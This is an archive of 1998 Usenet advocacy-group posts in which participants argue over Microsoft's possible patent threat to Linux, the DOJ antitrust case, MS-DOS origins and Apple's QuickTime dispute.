>:momentum since it could very quickly curtail commercial vendors' support for
>:Linux. That would be a real shame. If MS tried it right now, though, it
>:would sink their case before the DOJ, so let's get a move on before they get
>:a chance. Crank up the momentum! :-)
>
>If this were to happen, I would lobby my Congress members for
>legislation to nullify Microsoft's patents. Unfortunately that may be
>an unconstitutional bill of attainder.
>
>If MSFT is put under a court's jurisdiction (a la AT&T breakup) should
>it lose the case, then this court might have the power to nullify the
>relevant patents or stop Microsoft's litigation with them.
While I think M$ _should_ be broken up, it's unlikely that it will.
So, plan b: have Uncle Sam keep a serious eye on Windoze. They
wouldn't have to make it open source, just make it very hard for M$ to
leverage their illegal OS monpoloy. Stuff like: force PC makers to
either dual boot their PCs (ie, Windoze/Linux) or sell the OS seperate
from the PC altogether. Maybe make sure developers have much more
access to source in a timely fashion.
>People say that the old IBM anti-trust case was dropped because it was
>a bad case. No: the DOJ was on the verge of victory--it was dropped
>because of the ideology of the Reagan administration. Justice is a
>branch of the executive.
That's exactly what I'm afraid of...that by 2001 the case will still
be dragging and George W. Bush, helped by the Y2K Bug Recession will
come in and kill it.
M$ then uses its patents and copyright stuff to fully hamper Linux at
every turn.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 12:09:13 -0800
Organization: Institute of Lawsonomy
Message-ID: <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>The idea for MS-DOS was Gates, and he acquired the CPM clone from Seattle
>Computer after he already had the deal with IBM.
Actually, IBM told Gates that DR wouldn't talk to them, after Gates sent IBM
to DR, and suggested that it would be a very good idea if Gates added an OS
to the proposed software that MS would develop, if Gates didn't want to see
the PC project canceled. That's when Gates went looking and found QDOS at
Seattle Computer.
--Tim Smith
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 12:10:51 -0800
Organization: Institute of Lawsonomy
Message-ID: <724tsb$fqa$1@52-a-usw.rb1.blv.nwnexus.net>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <7243tf$4a5@magus.cs.utah.edu>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Lee Hollaar <hollaar@sal.cs.utah.edu> wrote:
>What a non sequitur. There are certainly Republicans that are concerned
>about Microsoft's power in the software marketplace. Bob Dole formed
>an organization with Robert Bork to criticize Microsoft's antitrust
>violations. My senator, Orrin Hatch, has held hearings before the
s/formed an organization/was hired by Netscape/
--Tim Smith
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <3645F05A.E570B374@ieee.org>
Message-ID: <3646004a.0@news.depaul.edu>
Date: 8 Nov 98 20:34:18 GMT
In comp.sys.next.advocacy Bruce Hayden <bhayden@ieee.org> wrote:
> I am not sure what you are saying No to, but my point was that IBM
> went outside because it was in a hurry. Otherwise, the company presumably
> would have used some of their tens of thousands of programmers and
> their OS expertise to write their own.
They could have gone outside and bought something, instead of just
licensing it. Would have saved them tons of money, and would have
helped stunt the growth of the cloners. They never did buy an
OS. Why not?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 11 Nov 1998 01:13:52 GMT
Organization: Primenet (602)416-7000
Message-ID: <72aocg$1f8$1@nnrp03.primenet.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu>
<729th9$p93$1@nnrp1.dejanews.com> <72acu0$798$1@nnrp1.dejanews.com> <72agcb$ac6$1@nnrp1.dejanews.com>
Charles Swiger <chuck@codefab.com> wrote:
: Pity Sun's doing the same thing, with "Solaris 7.0" as the successor to
: "Solaris 2.6". I wonder if Sun's going to start having "Solaris 7.0SP1"
: instead of patch-level releases too, just because Microsoft is doing it.
Sun has been putting a lot into the .1 increments. Given the market
reality, I don't really blame them for aligning their numbers with market
perceptions.
I thought the market perception was that you bump your Major number with
new functionality. I'd say a 64 bit OS release qualifies.
John
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 01:46:43 GMT
Organization: Monmouth Internet
Message-ID: <3648eb07.518540652@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com>
Stephen Edwards <ja207030@primenet.com> wrote:
>: IBM wasn't sent to DR by Gates, DR was the recognized market leader in the
>
>Gawd! Nobody ever gets this stuff right. IBM went to Microsoft first,
>because they thought Microsoft could license them CP/M. When they found
>out they couldn't, MS informed them of DR's existence, and IBM took it
>from there. DR was _NOT_ a big player, simply because the market was
>still a hobbyist's market back then. IBM's only reason for creating (???)
>the PC was because Apple IIs were taking away the "hearts and minds" of
>their customer base.
I'm sorry that you don't understand the nature of the market back then.
Yes, it was a hobbiest market, mostly because you had to hand assemble the
machine yourself at the beginning. The engineers that created the PC were
from the culture, or do you think that they were mainframe hardware jocks?
The "validation" of the marketplace for Personal Computers by IBM entering
the market was a given, and there were a few companies already in the game
when IBM came along. There were already several trade journals, and I
happened to be reading all of them at the time. The "Personal Computer"
wasn't created in response to Apple. I don't know where you think that
yoiu got this "information" but it's obviously quite wrong.
>WTH is Tim Jennings?...
I believe that's the name of the guy that did the port, on his own, of CPM
to run on the X86 card that ran in a CPM machine at Seattle computers.
It's been more than a decade, and I don't much feel like digging up the
references..
>No. It was Tim Patterson of Seattle Computer Products, who created the
>CP/M _clone_ from an old CP/M manual. It was called QDOS, the Quick and
>Dirty Operating System. Since Gary Kildall didn't want to meet with IBM
>(rumor has it, he was playing golf), IBM went back to MS and said, "we
>need an OS, boys!". Ironically, SCP was just down the street from MS, and
>so MS bought QDOS outright for $50,000. IBM then licensed it from
>Microsoft, for exclusive use, and changed the name of it to PC-DOS 1.0.
>Microsoft also produced their own version of DOS called MS-DOS, to run on
>the PC clones that they hoped would come into existence... in short, the
>whole thing was a huge gamble for Microsoft. But they were clever, and
>because of the clone-makers, Microsoft is on top today.
There were two licenses involved.. a preliminary one that allowed Gates to
demonstrate it to IBM, and a final one which gave him what he thought was
universal rights. That's the basis of the later suit.
There was no gamble, Gates had the deal signed when he purchased the full
rights.
>Where have you kids been gettin' your history?
Why don't you read a couple books and stop claiming that you know the
history? Start with the Manes biography of Gates..
Wilbur
From: c.c.eiftj@47.usenet.us.com (Rahul Dhesi)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 22:16:50 GMT
Organization: a2i network
Message-ID: <72558i$46l$1@samba.rahul.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org>
NNTP-Posting-User: dhesi
In <3645B2FC.14A8E781@ieee.org> Bruce Hayden <bhayden@ieee.org> writes:
>More importantly though, much, if not most, of BSD predates pretty much
>anything that MS could comptemplate throwing against it. Remember, patents
>must be novel and nonobvious, and BSD surely was sufficiently published
>to constitute prior art against MS's products.
Microsoft might even be vulnerable, if somebody patents something that
Microsoft is already using in its own software as a trade secret.
The following, while illegal, could have interesting consequences:
Programmer reverse-engineers Microsoft software. Finds an unpublished
idea essential to Microsoft software. Gets patent claiming to be
inventor.
Such a person would probably get bought out.
--
Rahul Dhesi <dhesi@spams.r.us.com>
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 03:11:29 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com>
NNTP-Posting-Date: 8 Nov 1998 03:11:29 GMT
On 6 Nov 1998 06:16:54 GMT, Don Yacktman <don@misckit.com> wrote:
:This scenario of legal annhilation *could* put a huge dent in the Linux
:momentum since it could very quickly curtail commercial vendors' support for
:Linux. That would be a real shame. If MS tried it right now, though, it
:would sink their case before the DOJ, so let's get a move on before they get
:a chance. Crank up the momentum! :-)
If this were to happen, I would lobby my Congress members for
legislation to nullify Microsoft's patents. Unfortunately that may be
an unconstitutional bill of attainder.
If MSFT is put under a court's jurisdiction (a la AT&T breakup) should
it lose the case, then this court might have the power to nullify the
relevant patents or stop Microsoft's litigation with them.
If Microsoft wins, and they are feeling vindictive, heaven knows what
would happen.
What's most alarming to me is the fact that since 1992 or so Microsoft
has *known* that it has attracted the eye of the DOJ, and nevertheless
persisted in all sorts of undesirable practices.
Just think:
"What would they do, wholly unrestrained after a court victory?
This is important: If you believe in Free Software, you ought not vote
Republican in any national United States election. (MSFT has recently
hired Dick Armey's former aide, and the former chairman of the
Republican National committee as lobbyists. Wonder if that's Newt's
next job?)
People say that the old IBM anti-trust case was dropped because it was
a bad case. No: the DOJ was on the verge of victory--it was dropped
because of the ideology of the Reagan administration. Justice is a
branch of the executive.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Eek, a mouse! was Re: "Knife the baby" finally appears
Date: Tue, 10 Nov 1998 19:29:27 -0800
Organization: University of California, Los Angeles
Message-ID: <3649048D.A078985E@yahoo.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <7233s6$1v0$1@pascal.a2000.nl> <3645281B.941A8746@yahoo.com> <pecora-1011981734560001@pecora7600.nrl.navy.mil>
Mime-Version: 1.0
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Louis M. Pecora wrote:
> Robert,
>
> People have come to hate car/computer analogies, but when it comes to
> testosterone cars are hard to beat. Your analysis is quite accurate and
> the fact that a computer is involved is irrelevant. Back in my high
> school days (the early 1960's) we used to hang around on the corner, spit
> a lot, smoke, and really put down the cars and their drivers that used
> automatic transmissions. "Hey, ya need a real tranny to throw a power
> shift, Bozo." All testosterone. Automatics made it all too easy. Of
> course, the main purpose of the car for most people was to get somewhere,
> not to overhaul the engine every week. There were/are other more
> important things to get done. Things of greater power and consequence.
> Same for computers, but those male genes have a real grip sometimes.
I agree absolutely... IMHO, car/computer analogies received a bad rap because
they often focused on price/peformance/styling aspects that -- I agree --
aren't very transferable from car to car, let alone from car to CPU.
The more valid car/computer analogy refers not to the hardware itself, but to
the *user* of the hardware -- the driver vis-a-vis the computer user. Note in
the sacred hallways of CSMA plenty of our Mac bashers have also
enthusiastically entered into automobile-related pissing contests of the most
childishly testosterone-poisoned nature. I love it when they do that; they
just don't realize how it looks to the adults ;-)
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
Message-ID: <36462729.BDFBC1C0@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 08 Nov 1998 18:20:09 -0500
NNTP-Posting-Date: Sun, 08 Nov 1998 23:13:43 GMT
Organization: CWIX
Rick wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > It's damning, all right. Trevanian came off sounding like the world's
> > most pathetic whiner. "The baby", indeed. As though Quicktime has ever
> > represented substantial income to Apple. What? Apple gives Quicktime
> > away? Fancy that....:) DOJ needs to put an end to that practice
> > immediately because as we all know consumers never benefit from
> > companies who provide freeware, do they?....:)
>
> You need to reread the testimony... Avie mrely repeated.... the quotes
> "... so you want us to knife the baby? Yes, knife the baby "were made by
> Apple and M$ reps in the infamous kill Quickitme meetings.
How could you miss the point? "Quicktime" is not now nor has ever been a
large revenue producer for Apple. Apple has *given it away* FREE for
years. Whether the "baby" was killed or not would likely have ZERO
consequence on Apple's bottom line, EXCEPT to free up Apple R&D
resources for projects that would have made economic sense for Apple.
You think MS *didn't know* Apple was giving away Quicktime for amounts
that didn't even cover its development?
The Avie *slant* was that MS was attempting to coerce Apple into
"knifing the baby" in order to kill off a "competing" product. You don't
have to be a bright person to read between the lines to see that the
real conversation was that MS was saying, tactfully, "You aren't making
any money with it anyway, so why not throw in your lot with us and let's
do something jointly that we *both* might benefit from." This is crybaby
Apple all over again. It's pathetic, really.
From: steve@central.starport.com (Stephen R. Savitzky)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 08 Nov 1998 15:39:16 -0800
Organization: Grand Central Starport
Message-ID: <x7u309yct7.fsf@central.starport.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
<71u48m$dop$3@news.xmission.com> <3643C311.689A8771@hex.net>
<7227pg$kgh$1@news.xmission.com> <3647b96f.7198148@news.demon.co.uk>
NNTP-Posting-User: news
nws@rollingthunder.demon.co.uk (Anthony Ord) writes:
> Well in the EU, software patents are unenforceable, though for how
> much longer remains to be seen. The US government was banging at the
> door to get the EU to change its mind. Also reverse-engineering "to
> ensure interoperability of established systems" (or some legal rubbish
> like that) is also legal.
Linux has been getting a _lot_ of favorable press lately, and Microsoft
is getting just the opposite. If M$ tried anything against us involving
software patents, congresspeoples' phones would be ringing off the hook
with the _strong_ suggestion that US law be brought in line with the
EU's.
Such a move might not even require congressional intervention; it could
be done either judicially or possibly by executive order -- the PTO _is_
part of the executive branch, after all. All it would take is a firm
policy decision that software consists entirely of mathematical formulae,
which are not patentable. It would probably be widely applauded.
For that matter, the US is no longer in a position to dictate IP law to
the rest of the world.
--
/ Steve Savitzky \ 1997 Pegasus Award winner: best science song--+ \
/ <steve@starport.com> \ http://www.starport.com/people/steve/ V \
\ hacker/songwriter: \ http://www.starport.com/suites/Starport/Filk/ /
\_ Kids' page: MOVED ---> http://www.starport.com/places/forKids/ ______/
Message-ID: <3645B2FC.14A8E781@ieee.org>
Date: Sun, 08 Nov 1998 08:04:28 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
Content-Type: text/plain; charset=us-ascii
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John Rudd wrote:
> 2) Does a patent issue have ANY legal impact on non-commercial
> distributions (I don't know how patents affect non-commercial use of the
> patented item -- a copyright issue would, but they would have to prove that
> the code in question came from a technology they control, as opposed to
> merely being independantly writen code that duplicates functionality of
> some technology they own -- but they may be able to attack the look and
> feel of the fvwm extensions that look like win95)?
Yes, a patent can preclude non-commercial distributions, and yes,
there is a possibility of damages. However, the later is possibly
lessened since the plaintiff can only really go after its own lost
profits, and not any excess profits of the defendant. The likelyhood
that damages would be minimimal, if existent, is one reason that it
is unlikely that a non-commercial distributor would be sued.
> 1) do they have anything they can then aim at *BSD? (depends on the exact
> patent issue, I know.. my point, though, is that Linux is not the only
> bastion of the free OS advocate)
Extremely unlikely. Microsoft has been extremely late in the patent game.
Many date any interest whatsoever by that company to their loss to Stac
over disk compression. Indeed, compared to companies like IBM, they are
still running behind. This is especially obvious when companies like
Motorola (hardly a software giant) continues to issue more software
patents than Microsoft does every year.
More importantly though, much, if not most, of BSD predates pretty much
anything that MS could comptemplate throwing against it. Remember, patents
must be novel and nonobvious, and BSD surely was sufficiently published
to constitute prior art against MS's products.
> 2) what's to stop Linux users from going back to floppy distributions for
> the base OS, and then doing FTP for everything that isn't in legal
> question? (and perhaps re-writing those modules that are in legal dispute)
I am not sure I see the advantages here.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 08 Nov 1998 00:07:02 -0500
Organization: Waltonschauung
Message-ID: <atticus-0811980007030001@user-38lcldf.dialup.mindspring.com>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <ckoller-0711980741360001@95.san-francisco-04.ca.dial-access.att.net>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article
<ckoller-0711980741360001@95.san-francisco-04.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
:In article <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com>,
:atticus@mindspring.com (Andy Walton) wrote:
:
:> In article <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>,
:> ckoller@worldnet.att.net (Craig Koller) wrote:
:>
:> :However, without Wintel, we'd probably still be paying $10K for the
:> :equivalent of a Quadra 650.
:>
:> If you EVER paid $10K for a Quadra 650, you got snookered.
:>
:No, I mean that the existence of Wintel (and the stiff competition on that
:hardware side) has impacted both the speed and price of the Mac. PowerPC
:would have never happened without Wintel pressure.
Nonsense. You are once again assuming that without Wintel there would be
no innovation. Computers got faster, cheaper, and better for four decades
or so before Windows.
Had Microsoft and Intel never existed, Commodore's Amiga would still have
provided a competitor to Apple. As would CP/M (primitive by today's
standards, but not too far behind DOS -- and without DOS, it's reasonable
to believe that it would have evolved as DOS did).
Competition is necessary to drive innovation. It's also damned near
inevitable, unless some monstrously huge company manages to quash it.
--
"I'm about as tall as a shotgun and just as noisy."
-- Truman Capote
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 08 Nov 1998 19:35:18 -0500
Organization: Waltonschauung
Message-ID: <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <36462729.BDFBC1C0@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
:How could you miss the point? "Quicktime" is not now nor has ever been a
:large revenue producer for Apple. Apple has *given it away* FREE for
:years.
They give away client software -- unless I'm mistaken, if you want to
publish QuickTime authoring software, you must pay Apple a licensing fee
per copy. It may be the same for CD-ROM titles featuring QuickTime movies.
Ask Adobe if Postscript is a money-maker, despite the fact that they give
away the drivers, ATM, and Acrobat Reader.
--
"There's so much comedy on television.
Does that cause comedy in the streets?" -- Dick Cavett
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: 11 Nov 1998 05:12:34 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <72b6c2$16v$9@blue.hex.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 11 Nov 1998 05:12:34 GMT
On Tue, 10 Nov 1998 15:16:21 GMT, brlewis@my-dejanews.com
<brlewis@my-dejanews.com> wrote:
>In article <3647E15E.7A2232BA@ix.netcom.com>,
> kmself@ix.netcom.com wrote:
>> With the cost of patent litigation -- $100k (US) average for pre-trial
>> costs, $1m (US) to go to trial, threat of suit could be sufficient to
>> sway decisions to use OSS (deemed risky) or "patent-safe" proprietary
>> code.
>
>Don't say that without explicitly stating that proprietary code has the same
>potential vulnerability as OSS code. Any code can become a victim of that
>abomination called "software patents".
It is somewhat different.
The producer of proprietary code is presumably controlling distribution
of the code, and thus has control over reuse, and receives payment for
such.
It is not a tough problem in that circumstance to pay a royalty and
receive a suitable "release" to permit using the patent in the resulting
product. It is generally a reasonable idea to bury $2 for patent
royalties into the price of each software license.
In contrast, nobody controls the distribution of free software, and
hence the value of releasing rights to the patent is indeterminate.
And that's a different "cloud" to have hanging over you...
--
Windows '98 - A 32 bit patch for a 16 bit interface to an 8 bit OS
designed for a 4 bit chip.
cbbrowne@hex.net- <http://www.hex.net/~cbbrowne/lsf.html>
Message-ID: <3645B66C.397A603A@ieee.org>
Date: Sun, 08 Nov 1998 08:19:08 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan W Hendry wrote:
> The problem is it wouldn't just be Microsoft's patents being
> violated. If Microsoft goes after Linux for patent violations,
> other patent violations would likely be brought to light, and
> their holders would join Microsoft in or file their own cases.
I think that this is a strawman argument. You are inventing
trouble here just to make a point.
> Woe to Linux if they use a patent which is held by one of the
> outfits which exist only to license a portfolio of patents.
Woe is anyone. However, that is probably no more likely with or
without action by MS on its own patents.
> Besides, it didn't really matter. IBM was already under court-ordered
> restrictions which weren't dropped until just a few years ago. I can't
> think of any acquisitions IBM made until 1995, after that old consent
> decree from the 50's was cut down. Afterwards, they bought Lotus and
> at least one other company. If they hadn't been under those restrictions,
> I wonder if they would have bought Microsoft and Compaq back in the
> 80's? (I mean really, why would *IBM* have deigned to license software
> from a spoiled punk like BillG, when they could have bought an OS
> outright?)
Two things here. First, those of us who were around in the early
1980's remember vividly what happened when DOJ dropped its anti-
trust suit against IBM. The company's level of competition
increased dramatically, almost overnight. And from an outsider's
point of view, much of that competition was not really aboveboard.
In any case, it was apparent in retrospect that the antitrust suit
itself was doing quite a bit to rein in the company's anticompetitive
tendancies. The joke was that IBM had been able to deep-pocket and
stall the govt. until it could get its own guy (former IBM outside
counsel) into the top antitrust position at DOJ, who under Reagan
immediately dismissed the suit, as having no merit, while maintaining
the AT&T suit, which was considered by the DOJ attys to have much
less merit. I think that I would have to do a little more research
to determine whether the original MS contract was before or after this.
In any case, if you will remember, IBM went to Gates because it was
in a hurry. It dropped negotiations with DR (through Gates) because
they were taking so long. The reason (IMHO) that IBM went outside
for that stuff was that it knew that it couldn't do it inside
as quickly as it needed it done. Indeed, just look at how long
it took to get a useful OS/2 out the door. At least then, the
company just couldn't move quickly, even if it had to, and someone
there knew that they had to in this case.
It is also not clear that MS would have been willing to sell out
to IBM in the first place. Despite some of its less than competitive
tactics, I submit that one of the big reasons that MS is as
sucessful as it is, and has so many of the wealthiest people in
the world working for (or having had worked for it) is that it
(or Bill Gates or whoever) had a better vision than anyone else
about what was going to happen. I am not sure that IBM would
have, or even could have, offered them as much money as they
may have believed their vision was worth (Or even to just buy
out Bill Gates alone).
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: hollaar@sal.cs.utah.edu (Lee Hollaar)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 8 Nov 1998 12:47:43 GMT
Organization: University of Utah Computer Science
Message-ID: <7243tf$4a5@magus.cs.utah.edu>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> mbkennel <replace this with '@'> yahoo.com writes:
>This is important: If you believe in Free Software, you ought not vote
>Republican in any national United States election.
What a non sequitur. There are certainly Republicans that are concerned
about Microsoft's power in the software marketplace. Bob Dole formed
an organization with Robert Bork to criticize Microsoft's antitrust
violations. My senator, Orrin Hatch, has held hearings before the
Senate Judiciary Committee regarding Microsoft's practices.
Maybe the writer is just inclined to support Democrats for other reasons,
and is using Free Software and Microsoft as an excuse for getting you to
support his position?
Lee Hollaar
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 8 Nov 1998 13:58:34 +0000
Message-ID: <1di6fpk.1poiic61cpp6yoN@quern.demon.co.uk>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <721o9r$gd7$1@supernews.com>
User-Agent: MacSOUP/2.4b3
Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
> I used it for a little while in school. It was pretty horrific;
> no overlapping windows, for example. Instead it "tiled" windows
